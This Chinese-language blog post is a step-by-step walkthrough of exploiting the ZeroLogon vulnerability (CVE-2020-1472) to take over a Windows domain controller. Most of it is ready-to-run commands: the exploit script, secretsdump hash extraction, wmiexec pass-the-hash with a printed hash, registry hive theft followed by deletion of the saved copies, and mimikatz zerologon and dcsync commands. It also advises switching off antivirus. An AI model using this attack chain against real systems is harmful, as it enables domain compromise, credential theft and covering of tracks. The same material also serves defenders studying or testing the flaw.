CVE-2020-1472

CVE-2020-1472攻击过程

漏洞介绍

在今年9月份,国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情,网上也随即公开了Exp。是近几年windows上比较重量级别的一个漏洞。通过该漏洞,攻击者只需能够访问域控的445端口,在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷,导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码,从而以域控的身份进行Dcsync获取域管权限。CVE-2020-1472来重置域控密码。注意,这里是域控密码,不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内,机器用户跟域用户一样,是域内的成员,他在域内的用户名是机器用户+$(如DC2016$),在本地的用户名是SYSTEM。在拥有域控的机器用户密码的情况下,并不能直接使用该密码登录域控,因为机器用户是不可以登录的,但是因为域控的机器用户具备Dcsync特权,我们就可以滥用该特权来进行Dcsync

环境

攻击机 windows 10

域控服务器 windows server 2012 192.168.139.147

python 3.8

准备工具

https://github.com/VoidSec/CVE-2020-1472

https://github.com/maaaaz/impacket-examples-windows 【这是下面包中脚本转成的exe】

https://github.com/SecureAuthCorp/impacket

impacket需要使用最新的要用Impacket v0.9.22.dev1+20200915.160006.1397e2b5,并不是release中,或者pip中直接指定的

建议:git clone https://github.com/SecureAuthCorp/impacket.git

当然也可以直接

 

其次如果使用的linux,执行脚本在出现$之类的特殊字符需要转义,我在window下执行,没遇到这个问题

域和计算机名搞混淆,导致参数填写错误,哪个是域,哪个是计算机名,看下图

 

关于坑点:

windows中有python启动器,py -3指定使用python3,防止选错python版本

安装impacket这步,手动安装,并且把requirements.txt中的impacket==0.9.21这行去掉,不然执行py -3 pip install -r requirements.txt安装其他库时,impacket又装一遍,会覆盖掉最新版

安装过程:

先卸载旧版本:

py -3 -m pip uninstall impacket

安装新版本:

git clone https://github.com/SecureAuthCorp/impacket

cd impacket

py -3 setup.py install

 

报错说明

AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2',属于坑点1,手动安装impacket解决

secretsdump.py执行后无法获取NTDS.DIT信息,多半是域和计算机名混淆或者出现$未转义,对照坑点计算机名确认

[-] SMB SessionError: STATUS_LOGON_FAILURE(The attempted logon is invalid. This is either due to a bad username or authentication information.)多半是域和计算机名混淆或者出现$未转义,对照坑点3的图片,确认下,自己环境中对应的参数填写正确没

利用

环境准备就绪以后,运行exp,记得关杀软

py -3 cve-2020-1472-exploit.py -n DC -t 192.168.1.150

-n  计算机名

-t  域控ip

 

检测到存在漏洞,Y继续清空域控密码

 

成功之后用刚刚下载的

impacket-examples-windows

通过secretsdump.exe dump 域管 hash

.secretsdump.exe -no-pass -just-dc DC$@192.168.1.150

-no-pass    无密码登录

-just-dc    仅提取NTDS.DIT​​数据(NTLM哈希和Kerberos键)

DC$@192.168.1.150 计算机名$@域控ip

 

获取域控机器shell 和 导出域控计算机帐户的原始NT哈希

-hashes 域管理员的nthash:lmhash

.wmiexec.exe –hashes aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab 

test.com/administrator@192.168.1.150

此时会返回一个交互式域控shell

 

本地保存文件

reg save HKLMSYSTEM system.save

reg save HKLMSAM sam.save

reg save HKLMSECURITY security.save

下载文件

get system.save

get sam.save

get security.save

擦屁股

del /f system.save

del /f sam.save

del /f security.save

 

读取下载的文件计算原本的机器用户密码

. secretsdump.exe -sam sam.save -system system.save -security security.save LOCAL

 

随后把密码锤回去,这里使用的值是$MACHINE.ACC:  后的hash

Py -3 . einstall_original_pw.py DC 192.168.1.150

aad3b435b51404eeaad3b435b51404ee:5af95711c65a1312605ee044a484fb89

 

Mimikatz利用方式

探测是否存在漏洞

lsadump::zerologon /target:192.168.1.150 /account:DC$

lsadump::zerologon /target:192.168.1.150 /account:DC$ /exploit 攻击

 

lsadump::dcsync /domain:test.com /dc:DC /user:Administrator /authuser:DC$ /authdomain:test /authpassword:"" /authntlm

----通过dcsync dump域管hash

提升权限注入会话

privilege::debug

sekurlsa::pth /user:Administrator /doamin:. /rc4:570a9a65db8fba761c1008a51d4c95ab

 

在注入会话的窗口打开mimikatz 恢复机器用户密码 随后可以开始下一步操作

lsadump::postzerologon /target:192.168.1.150 /account:DC$

 

参考:

https://www.t00ls.net/viewthread.php?tid=57866&extra=&highlight=cve-2020-1472&page=1

https://mp.weixin.qq.com/s/S9Hwb1-lLhh4QfI4b551SQ

勿做伸手党,勤思考,总能成就一番事业。
原文地址:https://www.cnblogs.com/X-caiji/p/13949741.html